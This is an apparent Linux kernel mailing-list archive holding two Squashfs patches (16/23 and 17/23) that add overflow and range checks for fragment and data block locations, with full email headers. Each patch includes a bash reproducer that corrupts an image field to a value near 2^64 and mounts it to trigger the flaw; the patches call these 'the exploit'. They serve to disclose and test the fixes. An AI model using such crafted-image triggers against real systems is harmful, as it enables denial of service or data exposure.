EdtehwpEpRu5aSN2VhWceUU7tipFG3VgP8wbeQAoGaVKKjYB80LOrcDdGkST0y83wi FI2nEalhKz4KPFU5dlbeq1j4WvjDIlkK9al8lxR7bLxaAM2/SudPvhQ+RFHctK8vLO zM+nmA+ODtqfUK50LfkVxx5xFPWbWVpn7xtWwNjl+3kjUac4UG9NRt6U+rC31iwwQo DSX+5CT+VpUbw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405429; bh=+bVwYPBwKeRDjNONhkFwlNhZrMBxgM5TLuYFj5mKrhw=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=MK2SQyzGuouJTtGSBYqwcti4JQgpOfsnrlVkayRKZ1R2J2ELF9VHbKGzg1xmj8ml7 2LTA4JXG7br5vOuR7U1vHYSDTydwyzYD5TzYUUuQaly+zkGGD3en56uJf5OsaPvnji RYKnzZVB1l8nkA0MuXMG7NwQ7o9hGPhGAH+PEuDmVx5cc1JkX1iOFZVYO7fO3dLw9p sY/X+IbPMv08/KFGrkmrsl+mFF9/Hb2NtKj9EJsxINpuB8grKDjPf66bf9RF5+r+eY rO3mIRK4eChcG5eBK8HDKxVrmuFVjpi2ARpTDl76vKw3p27SqRLEePNYI0y6aQQDD8 AOXa8wkUWLq3w== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b674 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=LnEXa2z1ofUun6N17OIA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 4d3832ab363d3d7270f2729b7d7a3ce6:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 16/23] Squashfs: sanity check fragment block location and range Date: Mon, 23 Nov 2026 03:42:57 +0000 Message-ID: <20261123034304.261742-17-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfGkjZMCFi/IqesCwzqH/ti4YWNvaj7aKdRxZctFTJEj1oxNMdw/P/kjqOaDPL9ilMiUzlZ4EOHoufsbgESj8cMG/EJ4MPh+mlAZd/is/Rjdcsxx2KUBq sFEVk+RM7w+PLWfHs/HgPrTYx/fp1jYt/fdLlvr/RwCXoFzDj5xmodMLuFUUJ7Nj2PqooOztZM4HXaGnHFP+dwpBCfZLHYl0it68aKts3wCfFGUk4np2B1/e EoPxm5TXx15gwEvfidy/gH2VdjSUQwojVib+qB2UOIs2CYWBakNS7AMSTPofIZpm Content-Type: text/plain; charset="utf-8" When reading fragment blocks from disk the location and range of the fragment block is not sanity checked before it is passed down to squashfs_read_data(). In squashfs_read_data() the block location and range are sanity checked to the extent that the location plus block length does not go beyond the end of the filesystem. But, a block location can be crafted to be close to 2^64, and so the addition of the location and the length can cause arthimetic overflow, and thereby evade the sanity check. This evasion, however, will be caught when the code after the sanity check tries to read the block from the filesystem. This is because it is the block location that is passed to the I/O read, and not the result of the overflowed sanity check. This will return error because it will be beyond the end of the device. The real issue here is that leaving the sanity checking of the fragment block location and range to squashfs_read_data() is sub-optimal. This is because a fragment cache buffer has to be obtained (with possible waits fop a free buffer, and then the eviction of the original cached contents) before squashfs_read_data() is called. This adds unnecessary overhead and contention, which could be exploited to reduce performance, and this is for incorrect values that should have been detected earlier. This commit adds extra sanity checking to ensure the fragment block location and range are within bounds before a free fragment block is obtained. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The reproducer generates a Squashfs filesytem with a fragment block, and then corrupts the location of the fragment block to 2^64 - 32 KiB. If the exploit succeeds this corrupted value is paased to squaashfs_read_data() and it is not detected until the I/O read fails. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash ARGS=3D"-quiet -no-progress -noI -noD -noF -no-sparse -comp gzip" finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null echo Create Squashfs filesystem with one file echo "/ d 0777 0 0" > pseudo echo "zero f 0777 0 0 dd if=3D/dev/zero bs=3D1024 count=3D32 2>/dev/null" >= > pseudo if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then echo Failed to create Squashfs filesystem finish fi echo "Corrupt the location of fragment block 0" echo "Alter it to the value 0xFFFFFFFFFFFF8000 (2^64 - 32 KiB)" echo "The block location is stored at byte offset 32958" /usr/bin/echo -en "\x00\x80\xff\xff\xff\xff\xff\xff" > file dd if=3Dfile of=3Dimg.sqsh seek=3D32958 bs=3D1 count=3D8 conv=3Dnotrunc sta= tus=3Dnone echo Mount the filesystem to /mnt if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi echo Read the file zero. echo If the exploit succeeds, dmesg should show the following: echo "dd: attempt to access beyond end of device" echo " loop20: rw=3D2048, sector=3D36028797018963904, nr_sectors =3D 64 lim= it=3D72" echo "SQUASHFS error: Failed to read block 0xffffffffffff8000: -5" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000= ]" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000= ]" echo "SQUASHFS error: Unable to read page, block ffffffffffff8000, size 100= 8000" dd if=3D/mnt/zero popd 2>&1> /dev/null rm -rf $DIR =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: f400e12656ab5 ("Squashfs: cache operations") Signed-off-by: Phillip Lougher --- v2: - Don't return frag_size as the return value of squashfs_frag_lookup() This ensures the frag_size cannot be treated as a negative error result. --- fs/squashfs/cache.c | 7 +++++-- fs/squashfs/file.c | 8 ++++++-- fs/squashfs/fragment.c | 5 +++-- fs/squashfs/inode.c | 12 ++++-------- fs/squashfs/squashfs.h | 3 ++- fs/squashfs/squashfs_helpers.h | 24 ++++++++++++++++++++++-- 6 files changed, 42 insertions(+), 17 deletions(-) diff --git a/fs/squashfs/cache.c b/fs/squashfs/cache.c index 7cb16414cd23..4b6ef8838bc6 100644 --- a/fs/squashfs/cache.c +++ b/fs/squashfs/cache.c @@ -490,9 +490,12 @@ struct squashfs_cache_entry *squashfs_get_fragment(str= uct super_block *sb, u64 start_block, int length) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; + int res =3D squashfs_check_range(start_block, length, msblk); =20 - return squashfs_cache_get(sb, msblk->fragment_cache, start_block, - length); + if (res < 0) + return ERR_PTR(res); + + return squashfs_cache_get(sb, msblk->fragment_cache, start_block, res); } =20 =20 diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c index 76a61d2cc68c..5619828ab66f 100644 --- a/fs/squashfs/file.c +++ b/fs/squashfs/file.c @@ -443,7 +443,7 @@ static int squashfs_readpage_fragment(struct folio *fol= io, int expected) struct squashfs_cache_entry *buffer =3D squashfs_get_fragment(inode->i_sb, squashfs_i(inode)->fragment_block, squashfs_i(inode)->fragment_size); - int res =3D buffer->error; + int res =3D IS_ERR(buffer) ? PTR_ERR(buffer) : buffer->error; =20 if (res) ERROR("Unable to read page, block %llx, size %x\n", @@ -453,7 +453,8 @@ static int squashfs_readpage_fragment(struct folio *fol= io, int expected) squashfs_copy_cache(folio, buffer, expected, squashfs_i(inode)->fragment_offset); =20 - squashfs_cache_put(buffer); + if (!IS_ERR(buffer)) + squashfs_cache_put(buffer); return res; } =20 @@ -519,6 +520,9 @@ static int squashfs_readahead_fragment(struct inode *in= ode, struct page **page, void *addr; struct page *last_page; =20 + if (IS_ERR(buffer)) + return 1; + if (buffer->error) goto out; =20 diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c index 1f372374c29d..429dbeba9c21 100644 --- a/fs/squashfs/fragment.c +++ b/fs/squashfs/fragment.c @@ -34,7 +34,7 @@ * location of the fragment and its compressed size */ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment, - u64 *fragment_block) + u64 *fragment_block, int *fragment_size) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; int block, offset, size; @@ -54,7 +54,8 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned= int fragment, return size; =20 *fragment_block =3D le64_to_cpu(fragment_entry.start_block); - return squashfs_frag_size(fragment_entry.size, msblk->block_size); + *fragment_size =3D le32_to_cpu(fragment_entry.size); + return 0; } =20 =20 diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c index 380714ac4d34..15db4ac3fa75 100644 --- a/fs/squashfs/inode.c +++ b/fs/squashfs/inode.c @@ -158,11 +158,9 @@ int squashfs_read_inode(struct inode *inode, long long= ino) goto failed_read; } frag_offset =3D le32_to_cpu(sqsh_ino->offset); - frag_size =3D squashfs_frag_lookup(sb, frag, &frag_blk); - if (frag_size < 0) { - err =3D frag_size; + err =3D squashfs_frag_lookup(sb, frag, &frag_blk, &frag_size); + if (err < 0) goto failed_read; - } } else { frag_blk =3D SQUASHFS_INVALID_BLK; frag_size =3D 0; @@ -215,11 +213,9 @@ int squashfs_read_inode(struct inode *inode, long long= ino) goto failed_read; } frag_offset =3D le32_to_cpu(sqsh_ino->offset); - frag_size =3D squashfs_frag_lookup(sb, frag, &frag_blk); - if (frag_size < 0) { - err =3D frag_size; + err =3D squashfs_frag_lookup(sb, frag, &frag_blk, &frag_size); + if (err < 0) goto failed_read; - } } else { frag_blk =3D SQUASHFS_INVALID_BLK; frag_size =3D 0; diff --git a/fs/squashfs/squashfs.h b/fs/squashfs/squashfs.h index 4851bd964502..1947a469a0b4 100644 --- a/fs/squashfs/squashfs.h +++ b/fs/squashfs/squashfs.h @@ -68,7 +68,8 @@ extern __le64 *squashfs_read_inode_lookup_table(struct su= per_block *, u64, u64, unsigned int); =20 /* fragment.c */ -extern int squashfs_frag_lookup(struct super_block *, unsigned int, u64 *); +extern int squashfs_frag_lookup(struct super_block *sb, unsigned int fragm= ent, + u64 *fragment_block, int *fragment_size); extern __le64 *squashfs_read_fragment_index_table(struct super_block *, u64, u64, unsigned int); =20 diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index dc7c64bf61ab..6481ac236357 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -226,9 +226,9 @@ static inline int squashfs_data_size(__le32 raw, s32 bl= ock_size) return squashfs_block_size(le32_to_cpu(raw), block_size); } =20 -static inline int squashfs_frag_size(__le32 raw, s32 block_size) +static inline int squashfs_frag_size(u32 disk_size, s32 block_size) { - int size =3D squashfs_block_size(le32_to_cpu(raw), block_size); + int size =3D squashfs_block_size(disk_size, block_size); =20 if (size < 0) return size; @@ -239,4 +239,24 @@ static inline int squashfs_frag_size(__le32 raw, s32 b= lock_size) =20 return size; } + +static inline int squashfs_check_range(u64 start_block, s32 disk_size, str= uct squashfs_sb_info *msblk) +{ + int size =3D squashfs_frag_size(disk_size, msblk->block_size); + + if (size < 0) + return size; + + if (start_block >=3D msblk->inode_table) + return -EIO; + + /* + * the above check ensured start_block is not 2^63 or larger, and so + * this addition will not overflow + */ + if (start_block + squashfs_compressed_size_block(size) > msblk->inode_tab= le) + return -EIO; + + return size; +} #endif --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.34 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405444; b=a3Kh8qXtZbFWL+kDb/rk6dqy5gOumkpZCr2fFzAeqQMg/Bo+esDoe1TONX5+9VZjFB+t cmGXohx/Jb91hojGoguY3DxkmLSxobJubpThMb3S3m/xTbKwmFwwsgk8Abbx1pwgeJ64u pfK1OXx0e34OTyZ1aTWOazGdfAy9UhN5yQc0cCiyL0CR9Pmdlclg69t6ZlvMZmZpBxBrQ 22QcA/NjLkN10bjEwpSPz/KLc7cGJAJXyWiSbaPa3rKrqzxJshvmTPCpgMy47PyLL1Bx5 /M8IBGO2eDygGl8LFoRHgibC8xbjoklDr/qWV/5tBbJnOcGTrAfU1ghiClNh+xF014Q== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405444; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=3L8m3KPGrgGTkKs2Wln4IR6nVwKKAjRoHX7V481q4Yc=; b=CD/oKApFvBt3szfsaJC88QT7rEPn+lbT1ccQZ15TwW78kDNudCT7qr1PcwQzo+nkYdQi BrCTP3EOFMSarGl6nT3+EgDCuRa4jdtHDsxNF/DojKqk6Sm2CQog9ylBgfH7IQqi3UjYk BX9ejOWxugaQnAuUMtHCM+PWMhILHQNPWLngWPtE2Al7G1bTRbeiVP58wdVQ48uoFqNz6 xG23hTXvcsFw1tf3iRPQwZrp3ycasFxpvRuU0RzbZgN2/3aseUiFwOGUcU/bHGuztrZO5 6/uC9jOY7aq3wemfUgEt9m5INIZtEcLo0vv1MykjdflB13ZMdQ/Wxeqx5+Ahx0YjFAw== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=KDrKEPkH; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=At7h5fnl; arc=none smtp.remote-ip=188.121.53.34 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.34]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 19665606A6A5 for ; Mon, 23 Nov 2026 03:44:03 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 19665606A6A5 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=KDrKEPkH; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=At7h5fnl Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKy5xiqRr; Mon, 23 Nov 2026 03:43:49 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405430; bh=3L8m3KPGrgGTkKs2Wln4IR6nVwKKAjRoHX7V481q4Yc=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=KDrKEPkH0PQtQ84f15QfA3rlDhn9fHPcQ2btjG4Zgr4s96TIcJ7ZsZzIxYIAO7821 TqMKA1fYvaWx2R/DD+gUPbJiBy73aY/+F8SafIcZHe2LASHHIuZfUR3qTDE/UwcbFB K1PEHElWNdCapymJpniTL64mRBBtnBgzV1NIFeJKHdTe2NQF1Kg5TjB0LbwaufUFQ5 wdR+SDzsYTmCoaXEpBq5l+W2LwxupRrKl2nI5WqrnOkDXk3viSBRSQ9NN0d3cguo1o tlN4m2oGA8syPGUJ7osxOJqfDiKBh+lJ5X+lMDwTKiEtnoafmOxKeFsJfwflmkMBhb jwxbZRTmGBM/w== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405430; bh=3L8m3KPGrgGTkKs2Wln4IR6nVwKKAjRoHX7V481q4Yc=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=At7h5fnlGNXL8Z3NMHJPTBAMlIuAEg8DfrY97dlNmOb5S0qufFAgHio/lQ9VpDzgt xPQweTJVlKy3BxNu6DoObDbbYqqc5C5/0WUNcXtW1/f4Ba4csZ0t1NYurPT2zrlSoF cmhehSoVOA+3OIah5B4ZDXETRuKuzqSWrciDbrFqlYOnMHWibpQ2XMfhkf9XB8y1Jt iXLoBH4/qTQVluHa9yTwh4bKgZ0zP27qkFBkP/8rtg+XRvuF05+5EXOyQh5/CTyDcI xTZGgz9XWFTILPWmdAz6Gsds5DzNmTJc7JN79/02heeh+RyUs0ZhqLmj50VV4dZ5B6 n3kmpb6ykjReQ== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b676 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=TSaEOjpj3gRMpAirYekA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 30d8b338453d304160acccafed3ea056:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 17/23] Squashfs: sanity check block list sizes and range Date: Mon, 23 Nov 2026 03:42:58 +0000 Message-ID: <20261123034304.261742-18-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfEADf/PuDNQBjeQEZt3eLTDK8+nrp6uSILLcyscILARG2Sox9r8YWG+9W/9kn/kHVJGDZItvtGGMdA1+P3HghODeVwbn0ugUEXN4Wpz2vqk1EERg9Gs2 ZrIYSYvr+AdzGdFLa8gqEUYbPgpY2D8IGQT9QUTDabnfs21p6VYnEhXj8+oijkvc0F1g3ep6lEjF/bug7yGzd2/WFmjeI/LaCaRthGqowbZ1csw4OS4ZjC49 IYQyWbhVH11qr6YjxjofBbEZ8KQ7YwIqToIbkC7+n86Cj6SdW1007o9Mq9dCKPal Content-Type: text/plain; charset="utf-8" A Squashfs file has a list of block sizes, storing the compressed size of each data block. This block list is scanned to discover the size and location of block x, where the sizes of previous data blocks are added to the start of the data blocks to produce the location. But, when scanning this block list and adding the block sizes, the code does not check for arithmetic overflow. This means the data block start location can be crafted to be close to 2^64, and so the addition of the block sizes can cause arithmetic overflow and thereby evade any sanity checks. Additionally, the range (start and end) of the data block that is to be read from the filesystem is not checked for correctness before squasfs_read_data(). This commit adds checks for arithmetic overflow and sanity checks the range of the data block before attempting to read from disk. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The reproducer generates a Squashfs filesystem with a file with two data blocks, and then corrupts the location of the start of the data blocks to 2^64 - 128 KiB. This added to the size of data block 0 (128 KiB) will overflow, producing a location of 0. If the exploit succeeds, when the second block is read, Squashfs will not produce an I/O error and instead print the Squashfs filesystem superblock starting with hsqs. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash ARGS=3D"-quiet -no-progress -noI -noD -no-sparse -no-fragments -comp gzip" finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null echo "Create Squashfs filesystem with one file, with 2 data blocks" echo "Create a hard link to it, to force Mksquashfs to use an extended inod= e" echo "(more than one nlink). This means the start_block field will" echo "be 64-bits" echo "/ d 0777 0 0" > pseudo echo "zero f 0777 0 0 dd if=3D/dev/zero bs=3D1024 count=3D256 2>/dev/null" = >> pseudo echo "hardlink L zero" >> pseudo if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then echo Failed to create Squashfs filesystem finish fi echo "Corrupt the start_block field of file zero's inode, which" echo "points to the start of the file's data blocks." echo "Alter it to the value 0xFFFFFFFFFFFE0000 (2^64 - 128 KiB)." echo "That value added to the size of the first data block (128 KiB)" echo "will overflow" echo "The inode start_block field is stored at byte offset 262258" /usr/bin/echo -en "\x00\x00\xfe\xff\xff\xff\xff\xff" > file dd if=3Dfile of=3Dimg.sqsh seek=3D262258 bs=3D1 count=3D8 conv=3Dnotrunc st= atus=3Dnone echo Mount the filesystem to /mnt if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi echo Read the file zero. echo If the exploit succeeds, dd will not fail, and it will display the Squ= ashfs echo superblock, beginning with hsqs echo dd if=3D/mnt/zero bs=3D1024 skip=3D128 popd 2>&1> /dev/null rm -rf $DIR =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: 1701aecb6849c ("Squashfs: regular file operations") Signed-off-by: Phillip Lougher --- v2: - Ensure sparse blocks at the end of the inode table do not trigger new sanity checks. --- fs/squashfs/cache.c | 2 +- fs/squashfs/file.c | 27 +++++++++++++++++++++------ fs/squashfs/squashfs_helpers.h | 20 +++++++++++++++++--- 3 files changed, 39 insertions(+), 10 deletions(-) diff --git a/fs/squashfs/cache.c b/fs/squashfs/cache.c index 4b6ef8838bc6..a81a1d396074 100644 --- a/fs/squashfs/cache.c +++ b/fs/squashfs/cache.c @@ -490,7 +490,7 @@ struct squashfs_cache_entry *squashfs_get_fragment(stru= ct super_block *sb, u64 start_block, int length) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; - int res =3D squashfs_check_range(start_block, length, msblk); + int res =3D squashfs_check_range(start_block, squashfs_frag_size(length, = msblk->block_size), msblk); =20 if (res < 0) return ERR_PTR(res); diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c index 5619828ab66f..0a8288a53b25 100644 --- a/fs/squashfs/file.c +++ b/fs/squashfs/file.c @@ -281,6 +281,9 @@ static s64 fill_meta_index(struct inode *inode, s64 ind= ex, long long res =3D read_indexes(inode->i_sb, blocks, &cur_index_block, &cur_offset); =20 + if (res >=3D 0) + res =3D squashfs_add_indexes(cur_data_block, res, msblk); + if (res < 0) { if (meta->entries =3D=3D 0) /* @@ -292,7 +295,7 @@ static s64 fill_meta_index(struct inode *inode, s64 ind= ex, goto failed; } =20 - cur_data_block +=3D res; + cur_data_block =3D res; meta_entry =3D &meta->meta_entry[i - meta->offset]; meta_entry->index_block =3D cur_index_block - msblk->inode_table; @@ -353,8 +356,13 @@ static int read_blocklist_ptrs(struct inode *inode, s6= 4 index, u64 *start, blks =3D read_indexes(inode->i_sb, index - res, start, offset); if (blks < 0) return (int) blks; - if (block) - *block +=3D blks; + if (block) { + res =3D squashfs_add_indexes(*block, blks, msblk); + if (res < 0) + return (int) res; + + *block =3D res; + } } =20 /* @@ -492,8 +500,11 @@ static int squashfs_read_folio(struct file *file, stru= ct folio *folio) =20 if (res =3D=3D 0) res =3D squashfs_readpage_sparse(folio, expected); - else - res =3D squashfs_readpage_block(folio, block, res, expected); + else { + res =3D squashfs_check_range(block, res, msblk); + if (res >=3D 0) + res =3D squashfs_readpage_block(folio, block, res, expected); + } } else res =3D squashfs_readpage_fragment(folio, expected); =20 @@ -629,7 +640,11 @@ static void squashfs_readahead(struct readahead_contro= l *ractl) } =20 bsize =3D read_blocklist(inode, start >> msblk->block_log, &block); - if (bsize =3D=3D 0) + if (bsize <=3D 0) + goto skip_pages; + + bsize =3D squashfs_check_range(block, bsize, msblk); + if (bsize < 0) goto skip_pages; =20 actor =3D squashfs_page_actor_init_special(msblk, pages, nr_pages, diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index 6481ac236357..2be1263d33bd 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -240,10 +240,8 @@ static inline int squashfs_frag_size(u32 disk_size, s3= 2 block_size) return size; } =20 -static inline int squashfs_check_range(u64 start_block, s32 disk_size, str= uct squashfs_sb_info *msblk) +static inline int squashfs_check_range(u64 start_block, s32 size, struct s= quashfs_sb_info *msblk) { - int size =3D squashfs_frag_size(disk_size, msblk->block_size); - if (size < 0) return size; =20 @@ -259,4 +257,20 @@ static inline int squashfs_check_range(u64 start_block= , s32 disk_size, struct sq =20 return size; } + +static inline s64 squashfs_add_indexes(u64 block, s64 blks, struct squashf= s_sb_info *msblk) +{ + + if (block > S64_MAX) + return -EIO; + + /* + * the above check ensured block is not 2^63 or larger, and so + * this addition will not overflow + */ + if (block + blks > msblk->inode_table) + return -EIO; + + return block + blks; +} #endif --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=92.204.81.44 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405445; b=Tfxm+6LzHfs0PRxlYk96LJG0yNKgpuu05eTwasPXJ5Ssxl0u4tPPT3zjLGJnBDYhBlDq IBmCdWvIUILAnUYYLWe5slDHgCZDWRNpRweURPkBL7O9gL2F33wVMDCn+fIvrfFodX8X2 TNCDtFrizHtZYYRHfkQ3zHNV13bju04rO45kRoaIveWrUE8hrwnbGDXngODCWdUNw4+5g airsrFqPcPCpVbihaql+/Enl7JGR/cIkQUKXc0Qf/XYF3FaU0Z+ij4aD0sOD/+6aV2ipp k0HGwh8uAurtdbrTNQhCjGRXrUtTcUQEez6HDNRHib+NEsH7vNioNqxgo6UuS/j9+9A== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405445; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=7VCEYtgwjA1WAc7qSm96QXd7PMJwfWq3aBk60Gb3fJE=; b=NRH0x06JlTtajWflrbCXr9ULkkHxildGgG2AOGPRLT43W52dYn690mMgDETEpTwzwGbW RLteR0XWXTe586992wbnNloAf1q7i85RteU38PdLsdtV7rtXzVShdciSvuYEo4cUYqC2z A3qnCw1YuqSGe3n+AhlfcLs4QIKS/G1Av5HR0oIm8xtmJOEY6xr2lMxX831kPlYd/AelZ XDYNZos+mygkFM6Y1Lq1lK7B4ukNb4Q5yDoqSeW9IXhI2BcD/mpOjwtZOdWI1yPssLcoq fxbFmaN3yLCw+GmZ4ifxNtc9j6K7dnvqARC+yteFvVBkiwFGhlWKpNDDxXJgDp8Sq6w== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=Z+D+ttOV; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=SwgOmFGV; arc=none smtp.remote-ip=92.204.81.44 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [92.204.81.44]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id D4033606A682 for ; Mon, 23 Nov 2026 03:44:04 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org D4033606A682 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass 